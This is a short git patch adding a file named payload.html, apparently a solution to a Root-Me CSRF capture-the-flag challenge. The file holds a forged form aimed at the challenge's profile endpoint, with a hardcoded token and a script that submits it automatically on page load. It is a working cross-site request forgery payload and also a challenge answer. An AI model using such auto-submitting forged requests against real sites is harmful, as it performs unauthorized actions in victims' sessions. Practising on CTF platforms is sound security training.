From 0a57de3b2137cded0da130c26d48761159dd6860 Mon Sep 17 00:00:00 2001
From: Dylan TIRARD <dylan@tirard.eu>
Date: Sat, 14 Sep 2024 12:35:04 +0200
Subject: [PATCH] second chall csrf

---
 root-me/payload.html | 10 ++++++++++
 1 file changed, 10 insertions(+)
 create mode 100644 root-me/payload.html

diff --git a/root-me/payload.html b/root-me/payload.html
new file mode 100644
index 0000000..8bdac09
--- /dev/null
+++ b/root-me/payload.html
@@ -0,0 +1,10 @@
+<form id="pl" method="GET" action="http://challenge01.root-me.org/web-client/ch23/?action=profile">
+    <input type="text" name="username" value="a">
+    <input type="checkbox" name="status" checked>
+    <input type="text" name="token" value="769c1cabcf028393e63536a45f96c19e">
+</form>
+
+<script>
+    pl = document.getElementById("pl");
+    pl.submit();
+</script>
\ No newline at end of file